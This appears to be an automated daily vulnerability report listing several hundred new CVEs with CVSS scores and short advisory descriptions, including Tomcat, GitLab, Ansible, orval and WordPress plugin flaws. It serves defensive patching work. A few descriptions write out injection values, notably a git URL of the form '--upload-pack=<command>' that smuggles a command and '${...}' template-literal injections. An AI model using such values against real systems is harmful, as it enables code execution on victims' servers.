

Daily Vulnerability Report - 2026-09-24

Window (UTC): 2026-09-23T05:28 to 2026-09-24T05:28 | Sources: NVD, CISA KEV, EPSS, Vulnrichment, GHSA, OSV | Generated 2026-09-24 05:30:09 UTC

Total	New	Updated	KEV added	KEV	Critical	High	Medium	Unscored	Watchlist
558	505	53	0	1	56	212	218	39	312

New today - published in this report window

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-59167	New	10.0	CRIT				SunEditor is a lightweight and powerful WYSIWYG editor in vanilla JavaScript with no dependencies. Prior to 2.47.11, the sanitizer in src/lib/core.js does not consistently reject namespaced or custom HTML elements, allowing event-handler attributes to remain on crafted elements. When an application renders attacker-controlled editor content and a user interacts with the elem...
CVE-2026-86708	New	10.0	CRIT				ZohoCorp ManageEngine Applications Manager versions 182200 and below were vulnerable to exposure of a Google Cloud service-account private key in the Applications Manager installer, which could allow an unauthenticated attacker to impersonate the service account and access or modify associated cloud resources.
CVE-2026-19599	New	9.9	CRIT				ZohoCorp ManageEngine OpManager MSP versions 12.8.709 and below were vulnerable to a Remote Code Execution vulnerability in the Notification Profile module.
CVE-2026-77602	New	9.9	CRIT			rubygems:openc3	OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.1.0 until 7.3.0, authenticated non-administrator users can write content under targets_modified/ that is later executed by multiple configuration paths below the intended code-execution privilege tier. Table and command or telemetry definitions are p...
CVE-2026-84474	New	9.9	CRIT				A flaw was found in Red Hat Ansible Automation Platform's automation- controller. The provisioning-callback secret (host_config_key) is exposed to users holding only the read-level view_jobtemplate permission -- both in the job template API representation and in the activity stream -- and the provisioning callback endpoint trusts a client-supplied X-Forwarded-For header to d...
CVE-2026-84502	New	9.9	CRIT				A flaw was found in Red Hat Ansible Automation Platform's automation- controller. The Project scm_url field is not validated against values that begin with a dash and is stored and passed verbatim to the git SCM module. Because the module runs git ls-remote with the URL as a positional argument and without a "--" separator, a git project URL such as "--upload-pack=<command>:...
CVE-2026-84719	New	9.9	CRIT				A flaw was found in the Ansible Automation Platform automation-controller. When a WorkflowJobTemplate is copied, the deep-copy permission sanitizer validates only the inventory, unified_job_template, and credentials of each cloned node and fails to check the instance_groups (and execution_environment and labels) that were preserved from the original. A user with organization...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89078	New	9.9	CRIT				GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to execute arbitrary code on the GitLab server due to a double free issue when parsing a specially crafted regular expression in a CI/CD configuration.
CVE-2026-93577	New	9.9	CRIT				GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to execute arbitrary code on the GitLab server due to an integer overflow issue when compiling a specially crafted regular expression in a CI/CD configuration.
CVE-2025-63564	New	9.8	CRIT				SQL injection vulnerability in Moodle Socialwall plugin v.3.0 through v.3.3 allows an attacker to execute arbitrary code via crafted HTTP requests
CVE-2026-18467	New	9.8	CRIT				The Paytium: Mollie payment forms & donations plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 5.0.3. The 5.0.3 patch introduced a wp_hash()/hash_equals() signature gate on the pt-paytium-user-data field, but left a second filter — pt_cf_checkout_meta(), registered on the pt_meta_values hook after the signed builder — that copi...
CVE-2026-6721	New	9.8	CRIT				IBM Concert 1.0.0 through 3.0.0 allows an unauthenticated remote attacker can supply specially crafted input that is incorporated into OS commands, resulting in arbitrary command execution on the underlying system. Successful exploitation allows remote code execution with the privileges of the affected application.
CVE-2026-6730	New	9.8	CRIT				IBM Concert 1.0.0 through 3.0.0 is vulnerable to a buffer overflow, caused by improper bounds checking. A local user could overflow the buffer and execute arbitrary code on the system.
CVE-2026-6928	New	9.8	CRIT				IBM Concert 1.0.0 through 3.0.0 references or accesses memory after it has been freed. This allows an attacker who can influence program execution or input may exploit this condition to corrupt memory, cause application crashes, or execute arbitrary code.
CVE-2026-76183	New	9.8	CRIT				Authentication Bypass by Alternate Name vulnerability in Apache Tomcat allowed the security constraints for any WebSocket endpoint to be bypassed. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, from 10.1.0-M1 through 10.1.59, from 9.0.0.M1 through 9.0.121. The following versions were EOS at the time the CVE was created but are known to be affected: ...
CVE-2026-82331	New	9.8	CRIT		0.002		Improper link resolution before file access ('link following') vulnerability in the `tar` source plugin of Apache BuildStream running on Python < 3.12 allows malicious source tarballs to write files on the host, with the privileges of the user running BuildStream, via symlinks as part of source fetching. The impact of this issue is mitigated by: * BuildStream projects shoul...
CVE-2026-86248	New	9.8	CRIT				CLIENT_CERT authentication does not fail as expected for some scenarios when soft fail is disabled vulnerability in Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M14 through 11.0.25, from 10.1.22 through 10.1.59, from 9.0.92 through 9.0.121. Users are recommended to upgrade to version 11.0.26, 10.1.60 or 9.0.122, which fix the issue.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93352	New	9.8	CRIT				Laravel-Mediable 7.0.0 before 7.0.2 contains an incomplete patch for CVE-2026-49972 in which the .pht extension is absent from the forbidden_extensions blocklist in config/mediable.php. The blocklist introduced to address CVE-2026-49972 includes phpt but omits pht, which Apache executes as PHP via the default FilesMatch directive on Debian and Ubuntu systems. An attacker can...
CVE-2026-96276	New	9.8	CRIT				If a malicious SDK container declares an extension point with a crafted `directory` path, and a developer runs `flatpak build-init --writable-sdk --sdk-extension` with that SDK, attacker-chosen files could be written outside the working directory, since the target path is resolved via a function that allows `..` traversal.
CVE-2026-96754	New	9.8	CRIT				orval versions before 8.29.0 contain a code injection vulnerability in the @orval/hono generator that fails to escape OpenAPI path values in single-quoted route literals. Attackers can craft an OpenAPI document with an apostrophe in a static path segment to inject arbitrary JavaScript code that executes when the generated TypeScript module is imported.
CVE-2026-96755	New	9.8	CRIT				orval versions 8.14.0 through 8.28.1 contain a code injection vulnerability in the @orval/effect generator that converts OpenAPI schema defaults into template literals. Attackers can inject arbitrary JavaScript expressions via schema defaults containing \${...} syntax, which are executed at module scope when the generated code is built or imported.
CVE-2026-96759	New	9.8	CRIT				orval before 8.29.0 fails to escape the operationId parameter when emitting it into generated TanStack Query mutator options metadata objects. Attackers can inject arbitrary JavaScript code through a crafted operationId in an OpenAPI specification that executes when generated hooks are called.
CVE-2026-96891	New	9.8	CRIT				A vulnerability was identified in D-Link DIR-825 3.00b32. Affected is the function tunnel_set_params of the file tunnel.c of the component rp-l2tp. The manipulation of the argument peer_hostname leads to out-of-bounds write. The attack may be initiated remotely.
CVE-2026-85724	New	9.6	CRIT			maven:io.moquette:moquette-broker	Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, when pattern-based ACL rules are configured, AuthorizationsCollector.canDoOperation substitutes client ID and username values directly into rules containing %c or %u and then treats the result as an MQTT topic filter. A client that uses + or # in either identity can broaden the substituted filter and gain cross-ten...
CVE-2026-87898	New	9.4	CRIT				OS command injection in Plesk allows remote authenticated users to execute arbitrary code with root privileges.
CVE-2026-87899	New	9.4	CRIT				Execution with unnecessary privileges in cPanel allows remote authenticated users to execute arbitrary code with root privileges.
CVE-2026-87900	New	9.4	CRIT				Argument injection in WP Toolkit for cPanel 6.11.2-10794 and earlier allows remote authenticated users to read arbitrary files and execute arbitrary code across customer accounts.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-18872	New	9.3	CRIT				IBM Financial Transaction Manager (FTM) for RedHat OpenShift is vulnerable to stored cross-site scripting (CWE-79) in the FTM UI NetworkAcknowledgement React component (NetworkAcknowledgement.jsx:42). A malicious actor can inject script into stored network acknowledgement data that executes in authenticated operator browsers, enabling session hijacking and unauthorized opera...
CVE-2026-95601	New	9.3	CRIT				Unauthenticated SQL Injection in Product Filter by WBW <= 3.1.7 versions.
CVE-2026-95848	New	9.3	CRIT				Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, when a configured authenticator or authorizer class cannot be loaded, Server.initializeAuthenticator and Server.initializeAuthorizerPolicy treat the failure as though no custom class was configured and fall back to AcceptAllAuthenticator or PermitAllAuthorizerPolicy. A misspelled class name, missing dependenc...
CVE-2026-96560	New	9.3	CRIT				LightLLM through 1.2.0 contains a remote code execution vulnerability in the KV-transfer worker when started with --pd_trans_mode nccl, which exposes an unauthenticated RPyC control channel that deserializes attacker-supplied data. Attackers can send malicious pickled objects to the exposed RPyC ThreadedServer to execute arbitrary code with the privileges of the LightLLM ser...
CVE-2026-96757	New	9.3	CRIT				orval before 8.29.0 fails to escape OpenAPI media-type keys when emitting them into single-quoted Content-Type string literals in generated code. Attackers can inject JavaScript through crafted media-type keys in OpenAPI specifications that executes when generated fetch operations or mock resolvers are invoked.
CVE-2026-96758	New	9.3	CRIT				orval @orval/core before 8.28.0 contains a code injection vulnerability in the form-data serializer that fails to escape multipart property names in generated template literals. Attackers can inject \${...} expressions into OpenAPI schema property names that execute as live interpolation when the generated client builds FormData bodies with consumer process privileges.
CVE-2026-96770	New	9.3	CRIT				All published s2s-proxy versions through 0.2.2 are affected. In versions 0.1.16 through 0.2.2, TLS server listeners use Go's RequireAnyClientCert mode when skipCAVerification is false. This mode checks that the client holds the certificate's private key but does not verify the certificate against the configured CA. An attacker can therefore use a self-signed certificate and ...
CVE-2026-63132	New	9.2	CRIT				OpenBao is an open source identity-based secrets management system. Prior to 2.6.0, OpenBao's handleLogicalRecovery path in http/logical.go compared the highly privileged recovery token with ordinary string equality. A remote unauthenticated attacker able to make repeated recovery mode requests and measure response timing could infer the recovery token. The recovered token c...
CVE-2026-67404	New	9.2	CRIT				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, When no CA bundle is available, ssl_options/1 falls back to [{verify, verify_none}] with no warning. An attacker in a man-in-the-middle position can forge the JWKS response, which leads the broker to accept arbitrary JWTs. Preconditions include The OAuth2 plugin must be...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-96756	New	9.2	CRIT				orval versions before 8.30.0 contain a code injection vulnerability in the @orval/core factory generator that fails to escape date default values in new Date() calls. Attackers can inject arbitrary expressions through apostrophes in OpenAPI schema defaults to execute code with the privileges of the consumer process when factoryMethods and useDates options are enabled.
CVE-2026-67231	New	9.1	CRIT				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, The trust-store plugin installs a verify_fun that overrides {bad_cert, unknown_ca} / {bad_cert, selfsigned_peer} when the presented cert "matches" a whitelisted one. The match key is extract_issuer_id/1 → public_key:pkix_issuer_id/2 → {IssuerName, SerialNumber} , both f...
CVE-2026-75884	New	9.1	CRIT				A flaw was found in AWX. The container group pod_spec_override field uses an incomplete blocklist that only restricts automountServiceAccountToken, allowing injection of initContainers, serviceAccountName overrides, and projected service account token volumes. An AAP platform administrator can exploit this to escalate privileges to OpenShift namespace-level access and exfilt...
CVE-2026-86246	New	9.1	CRIT				Initialization of a resource with an insecure default vulnerability in Apache Tomcat Native enabled insecure options by default including ALLOW_CLIENT_RENEGOTIATION, NO_EXTENDED_MASTER_SECRET, IGNORE_UNEXPECTED_EOF and ALLOW_NO_DHE_KEX. This issue affects Apache Tomcat Native: from 2.0.0 through 2.0.15, from 1.3.0 through 1.3.8. Earlier unsupported versions may also be a...
CVE-2026-86350	New	9.1	CRIT				Inconsistent interpretation of HTTP/2 requests ('HTTP Request/Response smuggling') vulnerability in Apache Tomcat caused by a regression in fix for CVE-2026-41293 can trigger request header mix-up. This issue affects Apache Tomcat: from 11.0.22 through 11.0.25, from 10.1.55 through 10.1.59, from 9.0.118 through 9.0.121. Users are recommended to upgrade to version 11.0....
CVE-2026-75799	New	9.0	CRIT		0.002		The YAHMAN Add-ons WordPress plugin before 0.9.31 does not validate the type of the remote files it caches in a publicly accessible directory, allowing unauthenticated attackers to write arbitrary PHP files on the server and achieve RCE when the relevant feature is enabled.
CVE-2026-82843	New	9.0	CRIT		0.002		The WP OAuth Server (Login with WordPress) WordPress plugin before 6.4.0 does not bind the OpenID Connect identity assertion it issues to the authorization grant being exchanged, returning instead the assertion belonging to whichever user authenticated most recently, which allows users with the Subscriber role and above to obtain a validly signed identity assertion for ano...
CVE-2026-14913	New	8.8	HIGH				ZohoCorp ManageEngine OpManager and Firewall Analyzer versions 12.8.669 and below were vulnerable to an SQL Injection vulnerability in Rule Management Search Reports.
CVE-2026-18490	New	8.8	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift is vulnerable to unauthenticated remote code execution via Java native deserialization on the PayDir Business Rules Manager RMI SSL endpoint (BrmRMISslServerSocketFactory.java:95, EP8). An adjacent-network attacker can deliver a crafted serialized payload to achieve arbitrary code execution, exposing all PayDir cre...
CVE-2026-70125	New	8.8	HIGH				Microsoft Outlook Remote Code Execution Vulnerability

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-75825	New	8.8	HIGH				ZohoCorp ManageEngine OpManager versions 12.8.710 and below with the Application Manager Plugin enabled were vulnerable to an Authentication Bypass vulnerability.
CVE-2026-76978	New	8.8	HIGH				ZohoCorp ManageEngine OpManager and Firewall Analyzer versions 12.8.709 and below were vulnerable to a Command Injection vulnerability in the Diagnose Settings feature.
CVE-2026-77601	New	8.8	HIGH			rubygems:openc3	OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.12.0 until 7.3.0, an authenticated actor can write the pypi_url setting through set_setting at POST /openc3-api/api, then cause OpenC3::PluginModel.install_phase2 in openc3/lib/openc3/models/plugin_model.rb to interpolate the value into a shell comma...
CVE-2026-80379	New	8.8	HIGH				IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.
CVE-2026-80412	New	8.8	HIGH				IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper escaping of connector property values during OSH script generation.
CVE-2026-80423	New	8.8	HIGH				IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to the exposure of namespace-wide secrets via accessible file mounts.
CVE-2026-80425	New	8.8	HIGH				IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.
CVE-2026-81537	New	8.8	HIGH				IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to OS command injection.
CVE-2026-86583	New	8.8	HIGH				The Import and export users and customers plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.4.17 via the plugin's own export and re-import workflow. The vulnerability exists because the exporter writes CSV cells using fputcsv() with a NUL byte (\0) as the escape character, while the importer parses the same file using SplFileO...
CVE-2026-86677	New	8.8	HIGH				ZohoCorp ManageEngine Applications Manager versions 182000 and below allowed a low-privileged user to run unauthorized SQL commands, potentially gaining administrator access and remote code execution.
CVE-2026-86678	New	8.8	HIGH				ZohoCorp ManageEngine Applications Manager versions 182000 and below allowed a low-privileged user to obtain an administrator's API key and use it to perform administrator-level actions.
CVE-2026-91798	New	8.8	HIGH		0.001		A local privilege escalation vulnerability exists in the update daemon of Foxit PDF Editor/Reader due to an insecure permission configuration that allows the configuration file to be modified by regular users, which may lead to arbitrary script execution with higher privileges.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-91800	New	8.8	HIGH		0.002		A local privilege escalation vulnerability exists in the installer of Foxit PDF Editor for macOS due to insufficient validation of a user-modifiable configuration value during high-privilege upgrades. A local attacker could exploit this issue to execute arbitrary commands with root privileges.
CVE-2026-91803	New	8.8	HIGH		0.002		A local privilege escalation vulnerability exists in the updater of Foxit PDF Editor/Reader due to unsafe loading of dynamic-link libraries from a user-writable directory during high-privilege operations. A local attacker could exploit this issue to execute code with elevated privileges.
CVE-2026-91813	New	8.8	HIGH		0.001		A vulnerability in Foxit PDF Editor/Reader's update mechanism allows an update package to be replaced between download and high-privilege extraction due to insufficient file locking and integrity validation. This could enable local attackers to execute arbitrary code with elevated privileges.
CVE-2026-95847	New	8.8	HIGH				Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, H2PersistentQueue derives a session's message-map name as queue_ plus the client ID and its metadata-map name as queue_ plus the client ID plus _meta. A durable session whose client ID ends in _meta can therefore make its message map collide with another client's metadata map. The colliding sessions read and write ...
CVE-2026-96275	New	8.8	HIGH				A malicious or compromised Flatpak repository can write attacker-controlled content to arbitrary locations on the host filesystem via <code>extract_extra_data()</code> . On system installs, the write happens as root. Two issues combine: <code>`files/extra`</code> is resolved via path operations that follow symlinks, and blob names from <code>`xa.extra-data-sources`</code> are not sanitized against <code>`..`</code> traversal.
CVE-2026-96455	New	8.8	HIGH				The Reachy Mini daemon exposes an HTTP API for managing the robot. Its app installation endpoint, <code>POST /apps/install</code> in <code>src/reachy_mini/daemon/app/routers/apps.py</code> , has no authentication. The handler's only dependency is <code>Depends(get_app_manager)</code> , which just hands back the manager object from application state, so nothing in the chain ever checks a credential. The endpoint ...
CVE-2026-96775	New	8.8	HIGH				MLflow's <code>dspy</code> flavor, versions <code>>= 2.0</code> , applies the <code>MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False</code> security control only when the <code>model_path</code> ends in <code>.pkl</code> , which allows a remote attacker to execute arbitrary code via a crafted MLmodel artifact.
CVE-2026-96804	New	8.8	HIGH				MLflow's <code>statsmodel</code> flavor, versions 2.1.0 to 3.14.0, omits the <code>MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False</code> security control entirely in <code>_load_model()</code> , which allows a remote attacker to execute arbitrary code via a crafted MLmodel artifact.
CVE-2026-55610	New	8.7	HIGH				InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.1, in InvoiceShelf's multi-company installations, any user who is an Owner of one company can read and overwrite any user account in any other company on the same installation. <code>`GET/PUT /api/v1/users/{user}`</code> resolves the tar...
CVE-2026-68492	New	8.7	HIGH				An untrusted search path vulnerability in Plesk from 18.0.34 before 18.0.80.8 and 18.0.81 before 18.0.81.1 allows remote authenticated users to execute arbitrary code as root via the "Plesk RESTful API" extension from 2.4.2 before 2.4.7.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-82368	New	8.7	HIGH				Insecure access controls on internal service ports in Brocade SANnav versions before 3.0.1a allow local, non-administrative host users to communicate directly with backend management services. A local attacker can leverage this exposed access to transmit commands to connected Fabric OS switches under the security context of the SANnav management user.
CVE-2026-82405	New	8.7	HIGH			go:github.com/klever-io/klever-go	Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the KleverUpdateAccountPermission built-in authorizes replacement of a target account's permissions by checking attacker-controlled vmInput.RecipientAddr instead of authenticated vmInput.CallerAddr. An attacker-controlled contract can choose a victim account with configured permissions as ...
CVE-2026-84683	New	8.7	HIGH				A flaw was found in Red Hat Ansible Automation Platform's automation- controller. The HTML view of job, ad hoc command, project update, and inventory update standard output escapes HTML metacharacters but does not remove ANSI terminal escape sequences before conversion to HTML. An ANSI OSC 8 hyperlink sequence in the output is expanded into an HTML anchor whose href is not s...
CVE-2026-84691	New	8.7	HIGH				A flaw was found in Red Hat Ansible Automation Platform's automation- controller. The setting that formats the log message emitted for API 4XX errors is an administrator-controlled Python format-string template that is rendered with a live user object as an argument. Because Python string formatting permits attribute and item traversal on its arguments, an administrator can ...
CVE-2026-95842	New	8.7	HIGH				Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, SessionEventLoop.run catches only InterruptedException, and SessionEventLoopGroup does not restart a terminated loop. An MQTT command that raises an uncaught exception can terminate an event loop shared by multiple client sessions, preventing every co-located client from processing PUBLISH, SUBSCRIBE, PUBACK, and o...
CVE-2026-95843	New	8.7	HIGH				Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, PostOffice.subscribe parses a shared-subscription filter through SharedSubscriptionUtils.extractShareName before validating the complete \$share/{shareName}/{topicFilter} structure. A remote client can send a filter such as \$share/grp without a topic-filter portion, causing a StringIndexOutOfBoundsException while ca...
CVE-2026-95844	New	8.7	HIGH				Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, Moquette does not limit the depth of topic names and topic filters before processing them through recursive CTrie insertion and matching operations. A remote client can publish or subscribe with a deeply nested topic, causing a StackOverflowError that disrupts session processing and can deny service to broker clien...
CVE-2026-95845	New	8.7	HIGH				Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, the broker does not enforce a maximum length for pending per-session message queues. When a fast publisher sends messages to a slow subscriber whose in-flight window is full, queued messages can accumulate without bound in memory or persistent storage. Remote clients can use this condition to exhaust broker resourc...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95846	New	8.7	HIGH				Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, PostOffice.publishWill publishes a client's Last-Will message without applying the canWrite authorization and reserved-topic checks used for a normal PUBLISH. A client can configure a Will for a topic that the client is not permitted to write and cause the broker to publish the unauthorized message when the client ...
CVE-2026-96673	New	8.7	HIGH				Photoview through 2.4.0 contains an SQL injection vulnerability in the album download route that allows unauthenticated attackers to inject SQL by manipulating the album_id path segment. Attackers can supply crafted SQL expressions in the album_id parameter to extract arbitrary data from the database using time-based or blind injection techniques.
CVE-2022-4997	New	8.6	HIGH		0.002		The jet-form-builder-stripe-gateway WordPress plugin before 1.1.0 does not sanitise and escape a payment token before using it in a SQL statement, allowing unauthenticated users to extract arbitrary data from the database, including password hashes.
CVE-2026-15027	New	8.6	HIGH		0.022		CGServiSign developed by Changing has a OS Command Injection vulnerability. Unauthenticated remote attackers can induce victims to visit a malicious web page and inject arbitrary OS commands through the local service interface, resulting in command execution on the victim's local computer.
CVE-2026-82369	New	8.6	HIGH				Insufficient input sanitization of shell metacharacters in the Brocade SANnav CLI scripting component permits authenticated users to break out of restricted execution contexts on managed switches. An attacker with command execution permissions can leverage this flaw to run unauthorized shell commands across target fabric switches, bypassing command allow-lists and obtaining ...
CVE-2026-82370	New	8.6	HIGH				Unauthenticated remote command injection in the Brocade SANnav orchestrator HTTP service permits network-adjacent attackers to execute arbitrary administrative switch CLI commands and issue container management instructions. This could allow an attacker to alter Fibre Channel fabric switch configurations or manipulate application container runtimes. This vulnerability affect...
CVE-2026-86064	New	8.6	HIGH			go:github.com/klever-io/klever-go	Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowin...
CVE-2026-90901	New	8.6	HIGH				Joomla Extension - joomshaper.com - Authenticated, Privileged SQL Injection in Media Image Deletion in Easy Store extension 1.0.0-3.0.0 - The checkout.searchGuestUser endpoint allowed querying guest checkout records solely by supplying an email address. The server returned complete shipping details (full name, phone number, street address, city, postal code, and country) dir...
CVE-2026-90904	New	8.6	HIGH				Joomla Extension - joomshaper.com - Broken Access Control (ACL Bypass) in ApiController Record Editing in Easy Store extension 1.0.0-3.0.0 - The allowEdit() method in ApiController.php hardcoded return true;, bypassing Joomla component-level and asset-level ACL permission checks. Any authenticated backend user could edit any EasyStore record, regardless of specific ACL permi...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93349	New	8.6	HIGH				Frictionless through 5.20.0rc1 contains an OS command injection vulnerability in the explore console command that allows an attacker who supplies a crafted Data Package descriptor to execute arbitrary operating system commands as the user who explores it. Attackers can place shell metacharacters in resource path values within a datapackage.json descriptor, which are passed u...
CVE-2026-96656	New	8.6	HIGH				Plex Media Server before 1.43.3.10861 allows an admin user to write arbitrary files that may be executed on load. The preference TranscoderH264Options is appended verbatim to x264's option string on every transcode. At startup, all .so files are run without signature, execute bit, or symbol checks.
CVE-2026-97152	New	8.6	HIGH				Nanomsg versions 0.5-beta through 1.x before 1.2.3 has a remotely exploitable buffer overflow in the WebSocket transport, due to an unchecked copy of the Sec-WebSocket-Version header, through snprintf.
CVE-2026-75131	New	8.5	HIGH				NetworkManager-l2tp through 1.52.4, fixed in 1.52.6, contains a privilege escalation vulnerability that allows local users with permission to create VPN connections to execute arbitrary code as root by injecting pppd options through a crafted VPN username. Attackers can embed a double-quote character or whitespace in the username to break out of the pppd options file quoting...
CVE-2026-76086	New	8.5	HIGH			composer:verbb/formie	Formie is a Craft CMS plugin for creating forms. Prior to 2.2.23 and 3.1.31, Formie's formie/integrations/form-settings control panel action in IntegrationsController::actionFormSettings is reachable without the required form integration permissions and passes request-supplied settings to a configured integration. An authenticated attacker can replace outbound host propertie...
CVE-2026-76648	New	8.5	HIGH				CopyAPIView (awx/awx/api/generics.py:873) sets permission_classes = (IsAuthenticated,), so DRF's get_object() performs no object-level RBAC. The get() handler (lines 988–991) explicitly guards with request.user.can_access(obj._class_, 'read', obj) — but post() (lines 1001–1010) does not. POST only checks: can_access(model, 'add', create_kwargs_check) can_access(model, 'cop...
CVE-2026-79310	New	8.5	HIGH				webpy web.py 0.76 is vulnerable to server-side template injection (SSTI). The template engine can be tricked into executing attacker-controlled template code that built-in security checks are designed to reject. When an application precompiles templates from a directory the attacker can write to and later renders them through the precompiled template loader, the sandbox is b...
CVE-2026-93527	New	8.5	HIGH				Contributor SQL Injection in Live Copy Paste for Elementor <= 1.5.10 versions.
CVE-2026-93773	New	8.5	HIGH				Contributor SQL Injection in Mollie Forms <= 2.11.0 versions.
CVE-2026-94124	New	8.5	HIGH				Contributor SQL Injection in WP EasyCart <= 5.9.4 versions.
CVE-2026-5695	New	8.4	HIGH				Arbitrary file upload vulnerability due to a lack of proper validation in upload forms. This allows authenticated users to upload files to the server without restrictions. An attacker could exploit this flaw to execute malicious code remotely (demonstrated by uploading the EICAR test file), which could result in the system being completely compromised.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-82409	New	8.4	HIGH			go:github.com/klever-io/klever-go	Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, indexer/common.go serializedDataForUpdateAccounts places the attacker-controlled acc.Name value into an Elasticsearch _bulk JSON and NDJSON request without escaping it. The SetAccountName transaction accepts valid UTF-8 account names containing quotes, backslashes, and newlines, and the re...
CVE-2026-97151	New	8.4	HIGH				mammoth (aka mammoth.js) before 1.12.2 is vulnerable to prototype pollution when reading the styles defined in a document. Converting a crafted .docx file allows an attacker to add arbitrary properties to Object.prototype. In 1.11.0 through 1.12.1, applications that convert further documents in the same process and return the converted HTML can also disclose the contents of ...
CVE-2026-95626	New	8.3	HIGH		0.005		Tauri's Content Security Policy hardening, which injects a random nonce to restrict script execution, provides zero protection when an application includes data: or blob: in its script-src directive. Per the CSP Level 3 specification, these scheme sources remain active even when a nonce is present, allowing arbitrary script execution without knowing the nonce.
CVE-2026-14321	New	8.2	HIGH		0.002		The divi-dash WordPress plugin before 1.0.7 does not validate the source of the client IP address it uses for rate limiting and banning, allowing unauthenticated attackers to spoof arbitrary IP addresses in order to bypass rate limiting, ban chosen addresses from the feature, and grow a stored option without bound, resulting in denial of service.
CVE-2026-19179	New	8.2	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to manipulate database queries due to improper neutralization of special elements in a boolean expression.
CVE-2026-19438	New	8.2	HIGH		0.004		Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in ABB Mint Workbench I. This issue affects Mint Workbench I: through 5876.
CVE-2026-66079	New	8.2	HIGH				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, and 4.2.6, parse_array_primitive/2 for constructor 0x45 (list0) returns an element with byte-width B = 0. The enclosing array32 parser at line 148 reads a 4-byte Count from the wire and loops Count times consuming B bytes each , with B = 0, no input is consumed and the loop builds a list..
CVE-2026-67232	New	8.2	HIGH				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, The cowboy WebSocket options at line 117 set compress => true, enabling RFC 7692 permessage-deflate negotiation. The handler does not set max_frame_size, so cowboy's default of infinity applies. cowlib's cow_ws:parse_payload/9 calls zlib:inflate/2 on the compressed payl...
CVE-2026-68490	New	8.2	HIGH				Incorrect permission assignment allows local users to obtain sensitive CalDAV/CardDAV information belonging to other accounts.
CVE-2026-76087	New	8.2	HIGH			composer:verbb/formie	Formie is a Craft CMS plugin for creating forms. Prior to 2.2.23 and 3.1.31, Formie's anonymous formie/submissions/submit action in SubmissionsController::actionSubmit trusts a client-supplied submissionId when loading an incomplete submission without session binding, ownership validation, or a valid submissionEditToken. An unauthenticated attacker can enumerate sequential l...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84486	New	8.2	HIGH				A flaw was found in Red Hat Ansible Automation Platform's automation- controller. Four debug views that trigger the internal task, dependency, and workflow schedulers are configured to allow any user (including unauthenticated clients) and are routed in production builds because their URL include is not gated on the debug setting. An unauthenticated remote attacker can repea...
CVE-2026-86608	New	8.2	HIGH		0.002		The WP Recipe Maker WordPress plugin before 10.8.2 does not have any authorisation check in one of its REST routes, nor does it bound what that route stores, allowing unauthenticated users to write unlimited data into any user's metadata and to permanently prevent that account, including an administrator's, from loading.
